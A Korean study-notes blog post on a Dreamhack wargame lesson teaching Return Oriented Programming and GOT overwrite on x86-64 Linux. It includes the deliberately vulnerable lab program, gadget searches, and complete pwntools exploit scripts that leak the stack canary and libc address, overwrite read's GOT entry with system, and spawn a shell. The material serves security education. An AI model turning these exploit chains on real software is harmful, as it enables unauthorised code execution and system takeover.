공부중/시스템 해킹

[Dreamhack] Exploit Tech: Return Oriented Programming (ROP)

silver surfer 2024. 9. 22.

스택의 반환 주소를 덮는 공격은 스택 카나리, NX, ASLR이 도입되며 점점 어려워졌다. 공격 기법은 셸 코드의 실행에서 라이브러리 함수의 실행으로, 그리고 다수의 리턴 가젯을 연결해서 사용하는 Return Oriented Programming(ROP)로 발전했다.

NX의 도입으로 셸 코드를 사용할 수 없게 된 것은 공격자에게 큰 제약이 되었다. 프로그래머가 작성한  코드만 실행해서 셸이 획득될 가능성은 거의 없는데, 임의의 코드를 주입해서 사용할 수도 없어졌으므로 공격자는 새로운 방법을 찾아야했다.

그래서 지난 코스 Exploit Tech: Return to Library에서 살펴본 것과 같이 pop rdi; ret 같은 코드 가젯과 라이브러리의 system 함수를 사용하는 공격 기법이 새롭게 등장하였다.

지난 코스에서 관련된 실습을 진행했는데, 해당 실습에서는 편의를 위해 바이너리의 PLT에 system 함수를 포함시켰다. 그러나 이제는 많은 개발자가 해당 함수의 공격 벡터로 사용할 수 있음을 알고 있으며, 여러 개발 도구들에서도 해당 함수의 사용을 지양하도록 경고하고 있다. 그래서 실제 바이너리에서 system 함수가 PLT에 포함될 가능성은 거의 없다.

따라서 현실적으로, ASLR이 걸린 환경에서 system 함수를 사용하려면 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산해야 한다. ROP는 이런 복잡한 제약 사항을 유연하게 해결할 수 있는 수단을 제공한다. 이번 코스에서는 ROP를 배우고, 이제까지 배운 보호 기법을 모두 우회하는 기법인 GOT Overwrite 기법을 공부할 것이다.

 

** Return Oriented Programming

Return Oriented Programming

ROP는 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법이다. 공격자는 이를 이용해서 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다. 지난 수업에서 pop rdi; ret을 사용하여 system("/bin/sh") 을 호출한 것도 ROP를 사용하여 return to library를 구현한 예시이다.

ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행되는 모습에서 ROP chain이라고도 불린다.

이번 강의에서는 아래 예제를 스택 카나리, NX를 적용하여 컴파일한 바이너리를, ROP를 이용한 GOT Overwrite으로 익스플로잇해보자. 바이너리는 본 워게임에서 첨부파일로 제공됨.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

 

** 분석 및 설계

보호 기법

checksec로 바이너리에 적용된 보호 기법을 파악한다.

$ checksec rop
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

실습환경에는 ASLR이 적용되어 있고, 바이너리에는 카나리와 NX가 적용되어 있다.

 

코드 분석

취약점은 지난 코스들과 같으므로 설명하지 않는다.

지난 코스와 달리 바이너리에서 system 함수를 호출하지 않아서 PLT에 등록되지 않으며, "/bin/sh" 문자열도 데이터 섹션에 기록하지 않는다. 따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야하고, "/bin/sh" 문자열을 사용할 다른 방법을 고민해야한다.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Leak canary
  puts("[1] Leak Canary");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Do ROP
  puts("[2] Input ROP payload");
  write(1, "Buf: ", 5);
  read(0, buf, 0x100);

  return 0;
}

 

익스플로잇 설계

1. 카나리 우회

지난 코스들과 같다.

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = process('./rtl')
e = ELF('./rtl')

#[1] Leak Canary, 카나리는 8바이트
buf= b'A'* 0x39
p.sendafter(b'Buf: ',buf)
p.recvuntil(buf) #응답데이터 받기
cnry = u64(b'\x00' + p.recvn(7))

 

 

2. system 함수의 주소 계산

system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재된다.

바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않는다. 그러나 read, puts, printf는 GOT에 등록되어 있다. main 함수에서 반환할 때는 이 함수들을 모두 호출한 이후이므로,이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.

libc에는 여러 버전이 있는데 libc 안에서 두 데이터 사이의 거리(Offset)는 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임시 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다. 

예를 들어, Ubuntu GLIBC 2.35-0ubuntu3.1에서 read함수와 system 함수 사이의 거리는 항상 0xc3c20이다. 따라서 read 함수의 주소를 알 때, system = read - 0xc3c20으로 system 함수의 주소를 구할 수 있다. libc 파일이 있으면 다음과 같이 readelf 명령어로 함수의 오프셋을 구할 수 있다.

$ readelf -s libc.so.6 | grep " read@"
   289: 0000000000114980   157 FUNC    GLOBAL DEFAULT   15 read@@GLIBC_2.2.5
$ readelf -s libc.so.6 | grep " system@"
  1481: 0000000000050d60    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

 

read 함수의 오프셋은 0x114980이고, system 함수의 오프셋은 0x50d60이다. 0x114980에서 0xc3c20을 빼면 system 함수의 오프셋인 0x50d60을 얻을 수 있다.

rop.c에서는 read, puts, printf가 GOT에 등록되어 있으므로, 하나의 함수를 정해서 그 함수의 GOT 값을 읽고, 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구해낼 수 있을 것이다.

 

3. "/bin/sh"

이 바이너리는 데이터 영역에 "/bin/sh" 문자열이 없다. 따라서 이 문자열을 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 후자의 방법을 선택할 때 많이 사용되는 것이 libc.so.6에 포함된 "/bin/sh" 문자열이다. 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다. 이 방법은 주소를 알고 있는 버퍼에 "/bin/sh"를 입력하기 어려울 때 차선책으로 사용될 수 있다.

$ gdb rop
pwndbg> start
pwndbg> search -t string "/bin/sh"
Searching for value: '/bin/sh'
libc.so.6       0x7ffff7f5a698 0x68732f6e69622f /* '/bin/sh' */

 

이 실습에서는 ROP로 버퍼에 "/bin/sh"를 입력하고, 이를 참조할 것이다.

 

4. GOT Overwrite

system 함수와 "/bin/sh" 문자열의 주소를 알고있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출할 수 있다. 그러나 system 함수의 주소를 알았을 때는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 이러한 공격 패턴을 ret2main이라고 부르는데, 이 코스에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득할 것이다. 

 

Background: Library - Dynamic Link VS. Static Link 코스에서 Lazy binding에 대해 배운 내용을 정리해보면 다음과 같다.

  1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
  2. 찾은 주소를 GOT에 적고, 이를 호출한다.
  3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.

위 과정에서 GOT Overwrite에 이용되는 부분은 3번이다. GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적힌 주소를 변조할 수 있다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있다.

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성하면 된다.

 

** 익스플로잇

카나리 우회

카나리를 우회하는 과정은 지난 코스와 같다.

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

 

 

system 함수의 주소 계산

read 함수의got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산한다. pwntools에서는 ELF.symbols이라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용될 수 있다.

예를 들어, 사용하는 libc가 /lib/x86-64-linux-gnu/libc.so.6일 때, 다음 코드로 system 함수와 read 함수의 오프셋을 구할 수 있다.

#!/usr/bin/env python3
from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
read_system = libc.symbols["read"]-libc.symbols["system"]

write와 pop rdi; ret 가젯, 그리고 pop rsi; pop r15; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해보자.

 

가젯 찾기

ROPgadget --binary ./rop --re "rdi"

0x0000000000400853

 

ROPgadget --binary ./rop --re "rsi"

 

python3 rop.py
[+] Starting local process './rop': pid 2094
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] canary: 0xbad4a1c181fbac00
[+] read: 0x7f54a0e6a980
[+] libc_base: 0x7f54a0d56000
[+] system: 0x7f54a0da6d60
...

 

💡 Ubuntu 22.04 환경에서 실습 소스 코드를 동일한 옵션으로 컴파일했는데도 ROP 가젯이 없습니다.

Ubuntu 22.04에 탑재된 Glibc의 버전이 2.34 이상이기 때문입니다.

Glibc 2.34 이전 버전에서 컴파일된 바이너리를 실행하면, main()을 호출하기에 앞서 프로그램을 초기화하는 과정에서 __libc_csu_init()이 호출됩니다. __libc_csu_init()은 Glibc 안에 존재하는 함수로, 프로그램을 컴파일할 때 정적으로 링킹되며 ROP 공격에 유용한 가젯을 가지고 있습니다. 따라서 해당 함수는 보안상의 이유로 Glibc 2.34 버전부터 삭제되었습니다.

본 강의에서는 실습 편의상 Glibc 2.34 이전 환경에서 컴파일하여 __libc_csu_init() 함수가 포함된 바이너리를 사용합니다. 워게임에서 첨부파일로 제공되는 바이너리를 사용하여 실습해보세요!

 

system 함수의 주소 계산

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
e = ELF('./rop')
libc = ELF('./libc.so.6')

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x0000000000400851

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.interactive()

 

 GOT Overwrite 및 "/bin.sh" 입력

"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. 이 바이너리에서는 입력을 위해 read함수를 사용할 수 있다. read 함수는 입력 스트림, 입력 버퍼, 입력 길이 총 3개의 인자를 필요로 한다. 함수 호출 규약에 따르면 설정해야하는 레지스터는 rdi, rsi, rdx이다.

앞의 두 인자는 pop rdi, ret와 pop rsi; popr15; ret 가젯으로 쉽게 설정할 수 있다. 그런데 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어렵다. 이 바이너리뿐만 아니라, 일반적인 바이너리에서도 rdx와 관련된 가젯은 찾기 어렵다

이럴 때는 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제를 해결할 수 있다. 또는 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있다. 예를 들어 strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫번째 문자부터 가장 긴 부분 문자열의 길이를 반환한다.

libc_csu_init 가젯에 대한 내용은 심화 커리큘럼에서 설명한다.

libc에 포함된 rdx 가젯

$ ROPgadget --binary ./libc.so.6 --re "pop rdx"
...
0x000000000011f497 : pop rdx ; pop r12 ; ret
0x0000000000090529 : pop rdx ; pop rbx ; ret
...
0x0000000000108b13 : pop rdx ; pop rcx ; pop rbx ; ret
...

 

이 실습에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 어느정도 크게 설정되므로, rdx를 설정하는 가젯은 추가하지 않아도 된다. 좀 더 안정적인(reliable) 익스플로잇을 작성하려면 가젯을 추가해도 좋다.

read 함수 pop rdi; ret, pop rsi; pop r15; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got+8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성해보자.

GOT Overwrite & "/bin/sh" 입력

#!/usr/bin/env python3
# Name: rop.py
from pwn import *

def slog(name, addr): return success(': '.join([name, hex(addr)]))

p = process('./rop')
# p = process('./rop', env= {"LD_PRELOAD" : "./libc.so.6"})
e = ELF('./rop')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# [1] Leak canary
buf = b'A'*0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
pop_rdi = 0x400853
pop_rsi_r15 = 0x400851
ret = 0x400854

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(write_plt)

# read(0, read_got, ...)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)

p.sendafter(b'Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
slog('read', read)
slog('libc_base', lb)
slog('system', system)

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

 

셸 획득

read 함수의 GOT를 system 함수의 주소로 덮었으므로, 지난 코스와 마찬가지의 방법으로 system("/bin/sh")를 실행할 수 있다. read 함수, pop rdi; ret 가젯, "/bin/sh"의 주소(read_got+8)를 이용하여 셸을 획득하는 익스플로잇을 작성해보자

$ python3 rop.py
[+] Starting local process './rop': pid 2673
[*] '/home/dreamhack/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/dreamhack/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] canary: 0xc5b7bc077c839b00
[+] read: 0x7faad966a180
[+] libc base: 0x7faad955a000
[+] system: 0x7faad95a94e0
[*] Switching to interactive mode

$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

 

💡 ROP chain으로 호출한 system()movaps xmmword ptr [rsp], xmm1 명령어에서 실패하는 경우

movaps 명령어로 메모리에 데이터를 옮길 때, 메모리의 정렬 상태가 깨져있으면 SIGSEGV가 발생합니다.

movaps xmmword ptr [rsp], xmm1를 실행할 때, rsp 레지스터가 0x10으로 나누어 떨어지는 값을 가지도록 ROP chain에 ret 가젯을 추가해보세요!

 

 

 

💡 8번 Line이 추가된 이유

Ubuntu를 최근에 설치한 경우, 문제에서 제공하는 libc 파일이 Ubuntu 환경에서 사용하는 libc 파일과 미세하게 달라질 수 있습니다. 그런 경우에는 7번 Line을 주석처리하고, 8번 Line을 주석을 해제하여 사용하는 libc 파일을 강제로 문제에서 제공하는 것으로 지정할 수 있습니다.

 

마치며

강의 요약

이번 강의에서는 스택 버퍼 오버플로우와 관련된 핵심 공격 기법인 ROP를 배워보았습니다. ROP는 가젯을 활용하는 능력이 중요합니다. 문제 상황마다 사용할 수 있는 가젯의 수와 종류가 달라지므로 하나의 제약 조건을 해결하기 위한 페이로드를 여러 방법으로 구사할 수 있으면 유리합니다. 어셈블리어를 잘 이해하고 관련된 익스플로잇 경험을 쌓아보는 것이 도움이 될 것입니다.

이번 강의를 기점으로 스택 버퍼 오버플로우와 관련된 공격 기법은 더 소개하지 않을 것입니다. 이제까지 배운 내용을 정리하며, 스택 버퍼 오버플로우와 관련된 워게임 문제를 풀어보는 중간 점검의 시간을 잠시 가져보시기 바랍니다. 다음 강의부터는 코드 영역도 임의 주소에 할당되게 하는 PIE와 추가적인 보호 기법 RELRO, 그리고 힙 익스플로잇에 대한 전반적인 내용을 다뤄볼 것입니다. 🚩

키워드
  • Return Oriented Programming(ROP): 리턴 가젯을 이용하여 복잡한 실행 흐름을 구현하는 기법. 문제 상황에 맞춰 공격자가 유연하게 익스플로잇을 작성할 수 있다.
  • GOT Overwrite: 어떤 함수의 GOT 엔트리를 덮고, 해당 함수를 재호출하여 원하는 코드를 실행시키는 공격 기법

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

댓글